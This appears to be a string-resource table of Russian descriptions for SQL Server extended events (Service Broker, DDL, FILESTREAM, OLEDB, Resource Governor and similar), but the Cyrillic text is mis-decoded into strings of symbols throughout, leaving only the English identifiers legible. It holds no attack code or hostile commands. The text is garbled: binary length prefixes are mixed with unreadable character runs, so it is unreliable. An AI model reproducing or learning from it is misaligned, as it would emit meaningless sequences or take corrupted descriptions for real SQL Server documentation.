:><?8;OF88PA0G8=0NI89AO MB0?;<O >1J5:B0, =0 :>B>@K9 AAK;05BAO C40;5==K9 2K7>2 ?@>F54C@."!>>1I5=85 B@0AA8@>2:8 >?C1;8:>20=>"8? A>740==>3> >1J5:B0.7>=5G=>5 A<5I5=85 C40;O5<>3> B5:AB0 70?@>A0 8=AB@C:F88.0#:07K205B >?5@0B>@ DDL B8?0 07K 40==KE Stretch.0:A8<0;L=0O DOP4>?CA:05B ;8 3@C??8@>20=85 ?> AB>;1FC 7=0G5=85 NULL.!1I0O AB>8<>ABL B5:CI53> @5H5=8O.%MH :><?8;8@C5<>3> 70?@>A0.U0G0;> >1@01>B:8 <>4C;5< >B;>65==>9 70?8A8 =0 48A: ?5@540G8 :><?>=5=B0 Service BrokerPA%>A;54=89 ?>;CG5==K9 :>4 >H81:8 HTTP.PA "5:CI0O <0:A8<0;L=0O 4;8=0 :;NG0S>:07K205B, O2;O5BAO ;8 MB> A>1KB85< 70?CA:0 8;8 7025@H5=8O 4;O >?5@0F88 ?>43>B>2:8PA*#:07K205B B8? DC=:F88 <0A:8@>20=8O 40==KE.O>;8G5AB2> 0:B82=KE B@0=70:F89 (C@>25=L 2;>65==>AB8 B@0=70:F89) 4;O A>548=5=8O.F45=B8D8:0B>@ 107K 40==KE, :>B>@0O A>45@68B >1J5:B, 2AB02;5==K9 2 :MH.PA(8D@ ?>AB02I8:0 SSLPAA?>;L7C5<K9 2E>4 ?> ?@>B>:>;C.PA]@>8AE>48B, 5A;8 ?@8=C48B5;L=0O ?0@0<5B@870F8O =5 1K;0 ?@8<5=5=0 2 >B=>H5=88 2A59 8=AB@C:F88.PA! 07@548BL 8=45:A (2:;. 8;8 >B:;.)PAI@>8AE>48B ?@8 >1@01>B:5 107K 40==KE O7K:0 DDL T-SQL 4;O ?5@5=>A0 40==KE.PA�>72@0I05B XML-4>:C<5=B, A>45@60I89 A2545=8O, >B=>AOI85AO : MB><C A>1KB8N. >:C<5=B A>>B25BAB2C5B AE5<5, ?@82545==>9 ?> 04@5AC http://go.microsoft.com/fwlink/?LinkId=63331M?5@0B>@ "1>;LH5 8;8 @02=>" 4;O 42CE AB@>:>2KE 7=0G5=89 2 D>@<0B5 SQL UNICODE@5<O >6840=8O 2 <8;;8A5:C=40E.PAM"01;8F0, : >4=><C 87 AB>;1F>2 :>B>@>9 ?@8<5=O5BAO <5B:0 :;0AA8D8:0F88 40==KE.w45=B8D8:0B>@ 480;>30. -B>B 845=B8D8:0B>@ ?5@5405BAO 2 A>AB025 A>>1I5=8O 8 O2;O5BAO >1I8< 4;O >1>8E CG0AB=8:>2 480;>30.!>AB>O=85 >H81:8f#:07K205B =0G0;> >?5@0F88 ?5@5AB@>5=8O ?>;=>B5:AB>2>3> 8=45:A0 4;O B01;8FK A 845=B8D8:0B>@>< table_id.+ 07@5H8BL 1;>:8@>2:C AB@>: (2:;. 8;8 >B:;.)PAI1I0O AB>8<>ABL 7=0G8<KE >?5@0B>@>2 ?0:5B=>9 >1@01>B:8 2 B5:CI5< @5H5=88.W@8G8=0, ?> :>B>@>9 <>4C;L, A:><?8;8@>20==K9 2 A>1AB25==>< :>45, O2;O5BAO =5MDD5:B82=K<@5<O 2K?>;=5=8O TVF.+@>8AE>48B ?@8 0:B820F88 >H81:8 Hekaton SALR!@010BK205B ?@8 2K?>;=5=88 70?@>A0 =0 87<5=5=85 ?0@0<5B@>2 A>@B8@>2:8 107K 40==KE.=025@H5=> ;8 ?@8=C48B5;L=>5 ?@8<5=5=85 ?;0=0 =0 1KAB@>< MB0?5E0<? 4>ABC?0 : >?5@0F8O< ?>B>:>2>3> 22>40-2K2>40 4;O D09;0 FILESTREAM%45=B8D8:0B>@ >G5@548 ?@54C?@5645=89.O:B828@C5BAO ?@8 :><?8;OF88 8=AB@C:F88 T-SQL A ?@548:0B>< A>?>AB02;5=8O 3@0D>2.0@8<5@=K9 <0:A8<0;L=K9 >1J5< ?0<OB8 4;O 70?@>A0.%>@>3>2>5 7=0G5=85 4;O 1>;LH>3> H;N70@>4 >?5@0F88 =0G0;L=>3> 2K@065=8O 4;O 2K?>;=5=8O A G5@54>20=85<.(#:07K205B, GB> 1070 40==KE =5 ?>4:;NG5=0PID :;85=B0 87 ?0:5B0 Login7.>1I89 AG5BG8: 2>5A:@8?B>@ ?0:5B=>3> 2K7>20 SQL, ?@54AB02;ONI53> B5:AB 70?@>A0PA3!@010BK205B ?@8 70?CA:5 8;8 7025@H5=88 70?@>A0 VDW.)>;CG5=85 845=B8D8:0B>@0 B5:CI53> 70?@>A0fXevent ?>@>645=> ?@8 8A?>;L7>20=88 DC=:F88 A>:@0I5=8O G8A;0 ?>2B>@=KE :><?8;OF89 4;O 2@5<5==KE B01;8F.p:B828@C5BAO ?@8 4>102;5=88 ?>4@07C<5205<>9 70?8A8 4;O 2E>40 2 E@0=8;8I5 EMH59 ?>4@07C<5205<>3> 8<5=8 4;O 2E>40.�>7=8:05B, 5A;8 :C@A>@ ?@5>1@07C5BAO 2 :C@A>@ 4@C3>3> B8?0 ?> ?@8G8=5 B>3>, GB> 70B@51>20==K9 :C@A>@ =5 ?>445@68205B 2K?>;=O5<CN 8=AB@C:F8N. -B> A>1KB85 8A?>;L7C5BAO 4;O CAB@0=5=8O ?@>1;5< A ?@>872>48B5;L=>ABLN :C@A>@0.&"8? <0@H@CB0 :><?>=5=B0 Service BrokerPATCP-?>@B :;85=B0A5A:@8?B>@ ?;0=0 70?8A8 :MH0, 2 :>B>@CN 1K; 2AB02;5= ?;0= 70?@>A0<O ;>38G5A:>3> A5@25@0.?=0G5=85 true, 5A;8 AB0B8AB8G5A:85 40==K5 O2;ONBAO 4>102>G=K<8./!>>1I05B > 7025@H5=88 ?5@5<5I5=8O ?0:5B0 AB@>:.PA_0@0<5B@K 70?@>A0 =0 C40;5=85 1;>:8@>2:8 A =87:8< ?@8>@8B5B><, 8A?>;L7C5<K5 4;O A1>@:8 8=45:A0.PA,070 40==KE, ?@>H54H0O ?>2B>@=CN 02B>@870F8N!<O 2K720==>3> A2O70==>3> A5@25@01I55 G8A;> A5:F89 2 B01;8F5.#K?>;=O5BAO ;8 D8;LB@0F8O 03@530B0.A45=B8D8:0B>@ 107K 40==KE, 4;O :>B>@>9 1K;0 2K?>;=5=0 8=AB@C:F8O.r0?CA:05BAO ?>A;5 >G8AB:8 70?8A8 :MH0 ?@>F54C@K ?@8 C40;5=88 E@0=8<>9 ?@>F54C@K, :><?8;8@C5<>9 2 A>1AB25==>< :>45.L>=5F A>1KB8O :>=5G=>3> 02B><0B0 4>AB02:8 ?5@540G8 :><?>=5=B0 Service Broker^5@5405B 40==K5 > =0G0;5 2K?>;=5=8O A:@8?B0 ?5@5=>A0 2> 2@5<O >1@01>B:8 7040G8 ?5@5=>A0 AE5<K.L=0G5=85 true, 5A;8 DC=:F8O <>65B @01>B0BL =0 7040==>< C@>2=5 A>2<5AB8<>AB8.?!@010BK205B ?@8 7025@H5=88 70?@>A0 =0 A>740=85 2=5H=59 B01;8FK.PA045=B8D8:0B>@ B01;8FK, A>45@60I59 40==CN AB@>:C.{@>8AE>48B ?@8 2K7>25 E@0=8<>9 ?@>F54C@K sp_trace_generateevent A?>;L7C9B5 MB> A>1KB85 4;O =01;N45=8O 70 A>1KB8O<8, >?@545;O5<K<8 ?>;L7>20B5;5< 2 :>45 ?@8;>65=8O, 2> 2@5<O B5AB8@>20=8O 8;8 2K?>;=5=8O. 0==K5, 2>72@0I05<K5 2 ?>;5 user_event, 2:;NG0NB 7=0G5=85 event_id, C:070==>5 ?@8 2K7>25 ?@>F54C@K sp_trace_generateevent. -B> 7=0G5=85 <>65B =0E>48BLAO 2 480?07>=5 >B 82 4> 91.PA5#:07K205B B8? 2K?>;=O5<>9 >?5@0F88 DDL: ADD 8;8 DROP.PA^@>8AE>48B, 5A;8 EMH-A>548=5=85 ?0:5B=>3> @568<0 <>6=> @50;87>20BL :0: A>2<5AB=>5 A>548=5=85. >2K9 ?@>F5=B 2K1>@:8|>;8G5AB2> >?5@0F89 70?8A8 AB@0=8F, 2K?>;=5==KE 2> 2@5<O @01>BK B@8335@0 LOGON 8;8 DC=:F88-:;0AA8D8:0B>@0 Resource Governor.d>7=8:05B, :>340 SQL Server =5 <>65B 2K?>;=8BL ?@>25@:C ?>4;8==>AB8 Authenticode =0 42>8G=KE D09;0E.&>102>G=0O AB0B8AB8:0 (2:;. 8;8 >B:;.)PA6070 40==KE, 2 :>B>@>9 1K;0 A:><?8;8@>20=0 8=AB@C:F8O.4>?KB:0 70=5A5=8O 2 :MH :C@A>@>2 48A?5BG5@0 :C@A>@>2045=B8D8:0B>@ <>4C;O, :>B>@><C >B?@02;O5BAO ?;0=�A;8 7040=> 7=0G5=85 1, collect_original_path 2:;NG05B A1>@ 40==KE original_path. > C<>;G0=8N AB>;15F original_path =5 A>7405BAO.-A5 =5>1E>48<K5 A53<5=BK 107K 40==KE A>740=K.PA@>8AE>48B ?@8 8=8F80;870F88 SQL Server ?>AB02I8:0 OLEDB 4;O @0A?@545;5==>3> 70?@>A0 8;8 C40;5==>9 E@0=8<>9 ?@>F54C@K. A?>;L7C9B5 B> A>1KB85 4;O <>=8B>@8=30 8=8F80;870F88 ?>AB02I8:0 OLEDB. -B> A>1KB85 1C45B 0:B828@>20=> >48= @07 ?@8 8=8F80;870F88 >?@545;5==>3> ?>AB02I8:0.V'8A;> ;>38G5A:8E >?5@0F89 GB5=8O 22>40-2K2>40 (G8A;> AG8B0==KE AB@0=8F @07<5@>< 8�).PA #=8:0;L=K9 845=B8D8:0B>@ ?0:5B0.7@5<O, 70B@0G5==>5 =0 2K7>2K ?@>25@:8 ?>4;8==>AB8 XODBC-$C=:F8O ?@>D8;8@>20=8O CSQLSource::Execute().>B=>H5=85 2E>40, ?> :>B>@><C >F5=8205BAO :>;8G5AB2> M;5<5=B>2./'8A;> ?>2B>@=KE 2K45;5=89 ?0<OB8 4;O 0@E820F88.+#:07K205B, GB> DC=:F8O JSON A:><?8;8@>20=0.0G0;L=>5 A<5I5=85 8=AB@C:F88.H!@010BK205B, 5A;8 =5 C405BAO A>740BL ?@5D8:A ?0@0<5B@0 87-70 8A:;NG5=8O.$070 40==KE, A>45@60I0O MB>B 8=45:A.@5<O >B:@KB8O A50=A01@570BL >BG5BK > :><?8;OF88!B@>:0 B@0AA8@>2:8 >B;04:8..0@0<5B@ >1;0AB8 107K 40==KE ELEVATE_RESUMABLE@?@545;O5B, 1K;0 ;8 ?@8<5=5=0 ?>;8B8:0 157>?0A=>AB8 4;O 70?@>A0.->7=8:05B ?@8 ?@8<5=5=88 >3@0=8G5=8O DC=:F89.PA#@>25=L ?@8>@8B5B0 480;>30.�#=8:0;L=K9 845=B8D8:0B>@, :>B>@K9 =07=0G05BAO :;85=B0<8 TDS 8 1>;LH5 8;8 @025= 7,4, 8A?>;L7C5BAO 4;O B@0AA8@>2:8 ?@>F5AA0 2E>40 A :;85=B0 4> A5@25@0 G5@57 =5A:>;L:> ?@K6:>2.�>7=8:05B ?@8 A>740=88 ?;0=0 4;O 70?@>A0 8;8 ?0:5B0, A>45@60I53> AB@C:BC@C ?;0=0. A?>;L7C9B5 MB> A>1KB85 4;O >?@545;5=8O CA?5H=>3> ?@8<5=5=8O AB@C:BC@K ?;0=0.PA5=0G5=85, 2>72@0I05<>5 ?@8 C40;5==>< 2K7>25 ?@>F54C@.PAv"5:AB Transact-SQL, C40;5==K9 87 :MH0. -B> ?>;5 70?>;=O5BAO B>;L:> 4;O =5@53;0<5=B8@>20==KE 8 ?>43>B>2;5==KE 70?@>A>2.@!>>1I05B > ?@8G8=5 ?>2B>@=>9 :><?8;OF88 ?>;=>B5:AB>2>3> 70?@>A0.@8>@8B5B 2K?>;=O5<>9 @01>BK.*$C=:F8O ?@>D8;8@>20=8O ExecUdfLobAccess().PA070 40==KE B01;8FK.$5A:@8?B>@ ?>43>B>2;5==>9 8=AB@C:F88/0@0<5B@ ?>2KH5=8O ?@02 4;O >1;0AB8 107K 40==KE40AB@>9:0 B09<5@0 ?5@540G8 :><?>=5=B0 Service BrokerPA@>=5G=>5 A<5I5=85 8=AB@C:F88 70?@>A0 >B=>A8B5;L=> =0G0;0 ?0:5B0.0@5<O & (2 <8:@>A5:C=40E), 70B@0G5==>5 ?0:5B><.=!>45@68B A?8A>: AB>;1F>2, 4;O :>B>@KE AB0B8AB8:0 >BACBAB2C5B._45=B8D8:0B>@ 157>?0A=>AB8 2=5H=53> ?>;L7>20B5;O, A2O70==K9 A ?>4@07C<5205<K< 8<5=5< 4;O 2E>40.<;8=0 D>@<0B0 2>AAB0=>2;5=8O A50=A0 4;O =0G0;L=>9 AB@C:BC@K.R=0G5=85 event_id, C:070==>5 ?@8 2K7>25 E@0=8<>9 ?@>F54C@K sp_repl_generate_event.=0:A8<0;L=K9 @07<5@ ?5@5<5I05<KE 40==KE, C:070==K9 2 70?@>A5.PA;@5<O, 70B@0G5==>5 =0 2K?>;=5=85 ?>4?@>3@0<<K 2E>40 A5@25@0T>=5F >1@01>B:8 <>4C;5< >B;>65==>9 70?8A8 =0 48A: ?5@540G8 :><?>=5=B0 Service BrokerPA;?5@0B>@ "<5=LH5" 4;O 42CE AB@>:>2KE 7=0G5=89 SQL 2 .=8:>45PA(@5<O, ?@>H54H55 ?@8 :><?8;OF88 70?@>A0.E"8? <0@H@CB0, >?@545;5==>3> :><?>=5=B>< Service Broker 4;O A>>1I5=8O.PA!45=B8D8:0B>@ >1J5:B0 4;O A25@:8.C@>8AE>48B ?>A;5 >1=>2;5=8O 2A5E ?@54AB02;5=89 <><5=B0;L=KE A=8<:>2A?>;L7C5<0O B01;8F0 6C@=0;0.#45=B8D8:0B>@ :;85=BA:>3> ?@>F5AA0.%45=B8D8:0B>@ 107K 40==KE 4;O A25@:8.PAK>;8G5AB2> AB@>:, <0AA>2> :>?8@C5<KE 2 107K 40==KE (A ?><>ILN >?5@0F88 bcp)*"01;8F0, 4;O :>B>@>9 1K;0 A=OB0 1;>:8@>2:0PA�!>>1I05B >1 8AE>4=>< D@03<5=B5 ?5@54 70?CA:>< D07K 1 >?5@0F88 ?5@5AB@>5=8O. -B>B ?@>F5AA A>7405B AB>;L:> A>1KB89 40==>3> B8?0, A:>;L:> 8<55BAO 8AE>4=KE D@03<5=B>2.-@8G8=0 >B:;NG5=8O 2K?>;=5=8O A G5@54>20=85<.V!83=0;878@C5B > B><, GB> ?>2B>@=0O 02B>@870F8O ?@54?@8<5B ?>?KB:C ?>;CG5=8O 1;>:8@>2:8=>7=8:05B ?@8 >B:;>=5=88 A>1KB8O B5;5<5B@88 ?5@5=>A0 AzureDB.F!2545=8O > ?>AB02I8:5 OLE DB, 2 G0AB=>AB8 53> 2>7<>6=>AB8 8 ?0@0<5B@K.PAV-B> A>1KB85 A>7405BAO, :>340 7025@H05BAO 7040G0, >1=>2;ONI0O :MH ?@>25@:8 ?>4;8==>AB8.3><5@ AB@>:8 8=AB@C:F88 >B=>A8B5;L=> =0G0;0 <>4C;O.K@>8AE>48B ?@8 A1>5 >1=>2;5=8O >4=>3> 87 ?@54AB02;5=89 <><5=B0;L=KE A=8<:>2K7>2 sp_stretch_get_batch_idPA51>7=0G05B A>AB>O=85 <83@0F88 8=AB@C:F88 DDL B01;8FK.60?8AK20BL A2>9AB20 4;O CA;>28O ;>38G5A:>3> A>548=5=8OL45=B8D8:0B>@ >1J5:B0, 4;O :>B>@>3> 2K?>;=O5BAO ?>;=>B5:AB>2>5 A:0=8@>20=85.PAH1@010BK205BAO ;8 7040G0 2E>40 2 A8AB5<C 2 ?C;5 ?>B>:>2 2E>40 2 A8AB5<C.-0<? ?C;0 8 :>;LF52>3> 1CD5@0 3@C??K 2 xeventPA/45=B8D8:0B>@ 107K 40==KE, C:070==K9 2 7040=88.PA# 107K 40==KE 4;O >B<5=K <83@0F88.$>;CG5=85 845=B8D8:0B>@0 107K 40==KE\5@5G8A;5=85, A>45@60I55 ?@8G8=C ?@>?CA:0 ?@54;>65=8O 2> 2@5<O ?@8=C48B5;L=>9 ?0@0<5B@870F88PAH>7=8:05B ?@8 ?>;CG5=88 A>>1I5=8O > 7025@H5=88 70?8A8 2 D09; FILESTREAM.D@54K4CI55 7=0G5=85 ?5@5>?@545;O5<KE ?>;L7>20B5;5< D;03>2 ?><>I=8:0.$878G5A:89 A5@25@.0@0<5B@K A>@B8@>2:8 SQL*CLISD 8=8F80;878@>20==>3> ?>AB02I8:0 OLEDB=#=8:0;L=K9 845=B8D8:0B>@ A>?>AB02;5=8O @0745;0 A 107>9 40==KEPA+45=B8D8:0B>@ B01;8FK 4;O ;>:0;L=>9 B01;8FKPA�>;8G5AB2> >?5@0F89 GB5=8O C40;5==KE AB@0=8F, 8=8F88@>20==KE 2> 2@5<O 2K?>;=5=8O B@8335@0 LOGON 8;8 :;0AA8D8F8@CNI59 DC=:F88 Resource Governor.X!>AB>O=85 :>=5G=>3> 02B><0B0 8AE>4OI53> ?>4B25@645=8O ?5@540G8 :><?>=5=B0 Service BrokerL=B5@20; 2@5<5=8 2 <8:@>A5:C=40E <564C D>@<8@>20=85< @57C;LB8@CNI8E =01>@>2.PA>;CG5=85 45A:@8?B>@0 ?;0=0$#:07K205B B8? >?5@0B>@0 DDL B01;8FK.2True, 5A;8 2K7>2 2K?>;=5= ?>?5@5<5==K< 2K?>;=5=85<PAT@>8AE>48B, :>340 B@0=70:F8O 107 40==KE >AB0=02;8205BAO 87-70 70?>;=5=8O 1CD5@0 TDS.T1J5< 40==KE 2 :8;>109B0E, <0AA>2> :>?8@C5<KE 2 107K 40==KE (A ?><>ILN >?5@0F88 bcp)WITH (RESUMABLE = ON/OFF)1<O XML-<5B>40, 2 :>B>@>< 8A?>;L7C5BAO MB>B ?CBL.6!2545=8O >1 >1=>2;5=88 :MH0 MD =0 >A=>25 87<5=5=8O DMLN<O D09;0, A ?><>ILN :>B>@>3> >1<5=820NBAO 40==K<8 ?>4A8AB5<0 8 35=5@0B>@ :>40:8A?5BG5@ A50=A>2: A>740=85 8;8 C40;5=85 >B?5G0B:0 A50=A0.*BG5BK DDL > 2>7>1=>2;O5<>9 A1>@:5 8=45:A0/#:070B5;L >1J5:B0 48A?5BG5@0 ?5@5<5==KE B01;8FKH!>>1I05B >1 >H81:5 8;8 CA?5H=>9 >B<5=5 <83@0F88 =5A:>;L:8E ?0:5B>2 AB@>:PAH@>8AE>48B ?>A;5 >1=>2;5=8O >4=>3> 87 ?@54AB02;5=89 <><5=B0;L=KE A=8<:>2<'8A;> >?5@0F89 70?8A8 AB@0=8F 87 2K7>20 C40;5==>9 ?@>F54C@K.>MDD8F85=B 70?>;=5=8O;>ABC?8; ;8 70?@>A 2>AAB0=>2;5=8O A A5@25@=>3> ?>4:;NG5=8O.PA3#:07K205B, 7040=> ;8 =0<5@5=85 "B>;L:> 4;O GB5=8O".PA(!E5<0 ?@54AB02;5=8O <><5=B0;L=>3> A=8<:0."8? >1J5:B0, ?>8A: :>B>@>3> 2K?>;=O;AO 2 :MH5.<O ;>:0;L=>3> A5@25@0"8? =502B>=><=>9 8=AB@C:F88.*45=B8D8:0B>@ 107K 40==KE 4;O ?5@5<5I5=8O.>4 >H81:8.C#@>25=L >?B8<870F88, =0 :>B>@>< ?0:5B=K9 @568< <>65B 1KBL >B:;NG5=.!45=B8D8:0B>@ C40;5==>3> >1J5:B0.??5@0B>@ "@02=>" 4;O 42CE AB@>:>2KE 7=0G5=89 2 D>@<0B5 SQL ANSI(#@>25=L A5@L57=>AB8 >H81:8 SqlException.V?@545;O5B, A;54C5B ;8 CG8BK20BL MBC =5C40G=CN ?>?KB:C 2E>40 ?@8 2:;NG5=88 1;>:8@>2:8.Y!>>1I05B, GB> 7040G0 ?5@5=>A0 AE5<K ?@8 2K?>;=5=88 DC=:F88 ?5@5=>A0 AE5<K 1K;0 ?@>?CI5=0.#>38G5A:0O D09;>20O 3@C??0 A>740=0.f@5<O, 70B@0G5==>5 =0 >?5@0F8N ?>AB0=>2:8 2 >G5@54L 8 2K?>;=O5<CN 7040GC ?@8 4>102;5=88 ?>AB02I8:0 SSL;@>8AE>48B ?@8 >B:;NG5=88 >G5@548 :><?>=5=B0 Service Broker`>:07K205B ?@8G8=C ?@5:@0I5=8O >?B8<870F88: 8AB5G5=85 2@5<5=8 >6840=8O 8;8 8A?>;L7>20=85 ?0<OB8.9>B>: <83@0F88 ?5@5945B 2 A?OI89 @568< =0 =5A:>;L:> <8=CB;"8? ?@>25@:8 ?>4;8==>AB8, 8A?>;L7C5<K9 4;O 2E>40 2 A8AB5<C.T@>8AE>48B ?@8 7025@H5=88 >G8AB:8 B5<?>@0;L=KE B01;8F 6C@=0;>2 A ?>;8B8:>9 E@0=5=8O. 568< =0AB@>9:8 107K 40==KE.PA><5@ AB@>:8 2K@065=8O XQuery."The name of the Server Prinicipal.>;CG5=85 45A:@8?B>@0 ?;0=03'8A;> 70?@>A>2 A>?>AB02;5=8O 3@0D>2 4;O 107K 40==KE%1J5:B A 8=45:A>< 2 ?>2B>@=>9 A1>@:5.*G8A;> 0:B82=KE 70?@>A>2 4;O 1>;LH>3> H;N70Y-B> A>1KB85 2>7=8:05B, :>340 A5@25@ 70:0=G8205B >1@010BK20BL 2KE>4 (A ;N1K< @57C;LB0B><).s0?CA:05BAO ?5@54 >G8AB:>9 70?8A8 :MH0 ?@>F54C@K ?@8 C40;5=88 E@0=8<>9 ?@>F54C@K, :><?8;8@C5<>9 2 A>1AB25==>< :>45.PA.070 40==KE ?@54AB02;5=8O <><5=B0;L=>3> A=8<:09?8A0=85 ?@8G8= CA?5E0 8;8 =5C40G8 >B;>65==>9 :><?8;OF88.D>4 A >B;>65==>9 :><?8;OF859 4;O C:070=8O ?@8G8= CA?5E0 8;8 =5C40G8.PA/45=B8D8:0B>@ 107K 40==KE >1=>2;5==>3> >1J5:B0.PA�>7=8:05B, :>340 2 70?@>A5 8A?>;L7C5BAO <5B>4 value(), C:07K20NI89 B8? sql, >B;8G=K9 >B B8?0, C:070==>3> 2> 2@5<O A>740=8O A5;5:B82=>3> XML-8=45:A0 4;O MB>3> ?CB8.PA>;CG5=85 8<5=8 ?>;L7>20B5;O$A2545=8O, >H81:0 8;8 ?@54C?@5645=85.#@8G8=0 4;O >?5@0F88 ?>2KH5=8O ?@02>2>5 2@5<O A=0 7040G8.->;CG5=85 845=B8D8:0B>@0 :;85=BA:>3> ?@>F5AA0T-B> A>1KB85 A>7405BAO, :>340 7025@H05BAO 7040G0, >G8I0NI0O :MH ?@>25@:8 ?>4;8==>AB8.PA2batchID 25@=C; if 2 :>=F5.  ?@>B82=>< A;CG05 =>;L)>=5F MB0?0 2>7>1=>2;O5<>9 A1>@:8 8=45:A0/#:07K205B, O2;O5BAO ;8 ?;0= 70?@>A>2 ?@>AB59H8<;8B5;L=>ABL (<A).-'8A;> ?;0=>2, A>740==KE 2 ?>A;54>20B5;L=KE TPS#:07K205B ?@8G8=C, ?> :>B>@>9 =5 8A?>;L7C5BAO =>2K9 >?5@0B>@ AAK;>G=>9 F5;>AB=>AB8.@>8AE>48B ?@8 >BACBAB288 2 2K?>;=O5<>< 70?@>A5 ?@548:0B0 A>548=5=8O. A?>;L7C9B5 MB> A>1KB85 4;O >?@545;5=8O 70?@>A>2, :>B>@K5 <>3CB 2K?>;=OBLAO <54;5==> 87-70 >BACBAB28O ?@548:0B0. -B> A>1KB85 D>@<8@C5BAO B>;L:> 2 A;CG05, 5A;8 >15 AB>@>=K A>548=5=8O 2>72@0I0NB 1>;LH5 >4=>9 AB@>:8.M45=B8D8:0B>@ <>4C;O, A>45@60I53> 8=AB@C:F8N, 2K?>;=5=85 :>B>@>9 1K;> =0G0B>.<O :>=B@0:B0 A;C61K.4#:07K205B, GB> DC=:F8O STRING_ESCAPE A:><?8;8@>20=0.PA�!>>1I05B > E>45 2K?>;=5=8O 480;>30 :><?>=5=B0 Service Broker. -B> A>1KB85 2>7=8:05B ?@8 2K?>;=5=88 459AB289, >?@545;5==KE 2 ?>;5 conversation_action.e'8A;> A5:F89 :>=5G=>3> C@>2=O, :>B>@K5 ?@8H;>AL 1K ?@>A:0=8@>20BL 4;O >1=>2;5=8O A ?@56=59 A:>@>ABLN.<O 2=5H=59 B01;8FK.�>7=8:05B ?@8 >AB0=>2:5 ?>;=>B5:AB>2>3> A:0=8@>20=8O (70?>;=5=8O). A?>;L7C9B5 MB> A>1KB85 4;O =01;N45=8O 70 ?>;=>B5:AB>2K< A:0=8@>20=85<.)"09<5@ ?5@540G8 :><?>=5=B0 Service Broker# >;L 45A:@8?B>@0 480;>30 2 480;>35.F>;8G5AB2> ;>38G5A:8E >?5@0F89 GB5=8O, 2K?>;=5==KE 2> 2@5<O 0:B820F88..'8A;> ;>38G5A:8E >?5@0F89 70?8A8 22>40-2K2>40.;1J5:B, 4;O :>B>@>3> 1K;0 A>740=0 8;8 >1=>2;5=0 AB0B8AB8:0.#!>1KB85 ?@8>AB0=>2:8 A1>@:8 8=45:A0!45=B8D8:0B>@ 87<5=5==>9 B01;8FK.PA;=5A5=0 A>>B25BAB2CNI0O 70?8AL 2 6C@=0; >H81>: ResourceName,>4 A>AB>O=8O >H81:8 4;O A>1KB8O 8A:;NG5=8O.PA�@>8AE>48B ?@8 >B<5=5 ?;0=0 2K?>;=5=8O, A>45@60I53> :C@A>@. A?>;L7C9B5 MB> A>1KB85 4;O 4803=>AB8:8 ?@>1;5< A ?@>872>48B5;L=>ABLN :C@A>@0.!ClientProgVersion 2 ?0:5B5 2E>40.$45=B8D8:0B>@ incarnation_id <>4C;O.I'8A;> ?@028; 1@0=4<0CM@0 4;O IP-04@5A>2 =0 C@>2=5 A5@25@0 2 B5:CI5< :MH5.845=B8D8:0B>@ >1J5:B0, A2O70==>3> A 87<5=O5<K< >1J5:B><.9!>>1I05B > E>45 ?@>F5AA0 ?5@5AB@>5=8O 4;O 40==>9 B01;8FK.:#AB0=>2;5=> ;8 8<O 4;O 2E>40 A 8A?>;L7>20=85< A5@B8D8:0B0?PA�>7=8:05B, :>340 8=AB@C:F8O, A>45@60I0O >1JO2;5=85 :C@A>@0, :><?8;8@C5BAO 2 ?;0= 2K?>;=5=8O, => 4> >B:@KB8O :C@A>@0. A?>;L7C9B5 MB> A>1KB85 4;O 4803=>AB8:8 ?@>1;5< A ?@>872>48B5;L=>ABLN :C@A>@0."8? ?>AB02I8:0 CA;C3 A2O78.,<O ?>AB02I8:0 OLEDB, 8A?>;L7C5<>5 2 2K7>25."8? 2K?>;=5==>3> >1J5:B0.4<O escape-B8?0 AB@>:8, 2 :>B>@>< ?@>87>H;> A>1KB85.PA�A;8 7040=> 7=0G5=85 1, collect_physical_path 2:;NG05B A1>@ 40==KE physical_path. > C<>;G0=8N AB>;15F physical_path =5 A>7405BAO.>@54>AB02;O5B A?8A>: ?0@0<5B@>2 SET, ?5@540205<KE 2 A>548=5=88�@>8AE>48B ?@8 70?CA:5 D>=>2>9 7040G8 ?5@5<5I5=8O 40==KE 6C@=0;0 2 B5<?>@0;L=>9 B01;8F5, >?B8<878@>20==>9 4;O ?0<OB8, 87 2=CB@5==59 B01;8FK 6C@=0;0 2 B01;8FC 6C@=0;0.&45=B8D8:0B>@ >1J5:B0 4;O ?5@5<5I5=8O.1@>8AE>48B ?@8 >1=0@C65=88 :0:>9-;81> D>@<K ?;0=0;><5@ AB@>:8 8=AB@C:F88 70?@>A0 >B=>A8B5;L=> =0G0;0 ?0:5B0.DAE>4=K9 TCP-04@5A A5@25@0 28@BC0;L=>9 A5B8 (:>=5G=K9 04@5A :;85=B0)""8? >1J5:B0, >1=0@C65==>3> 2 :MH5.1>4 2>72@0B0 87 C40;5==>3> 2K7>20 ?@>F54C@K (RPC)A5B>4, :>B>@K9 8A?>;L7>20;AO 4;O C40;5=8O >1J5:B0 87 :MH0 ?;0=>2.%>@O4:>2K9 =><5@ A>>1I5=8O 2 480;>35.PA:@8G8=0, ?> :>B>@>9 040?B82=>5 A>548=5=85 =5 8A?>;L7C5BAO.==5A5=0 A>>B25BAB2CNI0O 70?8AL 2 6C@=0; >H81>: SystemMetadataPAL5@5405B 40==K5 > =0G0;5 ?>2B>@=>3> 70?>;=5=8O >G5@548 7040G ?5@5=>A0 AE5<K.�A;8 7040=> 7=0G5=85 1, collect_output_parameters 2:;NG05B A1>@ 40==KE output_parameters. > C<>;G0=8N AB>;15F output_parameters =5 A>7405BAO.G!>2>:C?=>5 2@5<O <564C =5A:>;L:8<8 2K7>20<8 2 WriteAsync 8 WriteHandlerPA+@5<O, 70B@0G5==>5 =0 ?>8A: 8<5=8 4;O 2E>40PA##:07K205B, :;0AB5@87>20= ;8 8=45:A.PA'!60BL 2A5 3@C??K AB@>: (2:;. 8;8 >B:;.) >A;54=89 ?>;CG5==K9 :>4 >H81:8.6@8G8=0 @07@5H5=8O ?>2B>@=>9 ?>;=>B5:AB>2>9 :><?8;OF88PA >;L >1J5:B0 ?5@540G8 2 480;>35PA645=B8D8:0B>@ 8=AB@C:F88 B5:CI53> 2K?>;=5=8O 2 ?0:5B5."8? 87<5=5==>3> >1J5:B0.A'8A;> D878G5A:8E >?5@0F89 GB5=8O AB@0=8F, 8A?>;L7>20==KE ?0:5B><.PAH!E5<0, : >4=>9 87 B01;8F :>B>@>9 ?@8<5=O5BAO <5B:0 :;0AA8D8:0F88 40==KE.J!@010BK205B ?@8 ?5@2>< 4>102;5=88 :>=B59=5@0 XTP 8;8 A>740=88 107K 40==KE.%>;CG5=85 8<5=8 C7;0 B5:CI53> :;85=B0PAG>7=8:05B, 5A;8 3@C??0 @5AC@A>2 E@0=8;8I0 70?@>A>2 =5 8=8F80;878@>20=0.@>4 